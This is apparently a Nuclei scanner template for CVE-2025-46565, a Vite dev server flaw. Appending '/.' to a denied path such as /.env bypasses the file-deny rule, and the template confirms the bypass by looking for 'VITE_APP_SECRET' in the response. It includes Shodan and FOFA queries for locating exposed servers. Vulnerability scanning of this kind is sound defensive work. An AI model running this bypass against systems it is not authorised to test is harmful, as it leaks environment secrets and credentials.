id: CVE-2025-46565

info:
  name: Vite Dev Server - Information Exposure
  author: ritikchaddha
  severity: medium
  description: |
    Vite is a frontend tooling framework for JavaScript. Before versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14, the contents of files in the project root that are denied by a file matching pattern can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected. Only files that are under project root and are denied by a file matching pattern can be bypassed. `server.fs.deny` can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass for files under `root` by using a combination of slash and dot (/.). This issue has been patched in versions 6.3.4, 6.2.7, 6.1.6, 5.4.19, and 4.5.14.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-859w-5945-r5v3
    - https://nvd.nist.gov/vuln/detail/CVE-2025-46565
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-46565
    epss-score: 0.01166
    epss-percentile: 0.64196
    cwe-id: CWE-22
  metadata:
    max-request: 2
    fofa-query: body="/@vite/client"
    shodan-query: http.html:"/@vite/client"
  tags: cve,cve2025,vite,exposure,bypass

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"

    matchers:
      - type: status
        status:
          - 403
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/.env/."

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "VITE_APP_SECRET"
        case-insensitive: true

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100837860199672c7d000ee6767b204538c3df941d87739ae1ff6e1e07ff61ecdd1022022dfc70a91aaf24e8eac2dd2a968198f03c1c3637f704ba6e848a8f63c7d1c4b:922c64590222798bb761d5b6d8e72950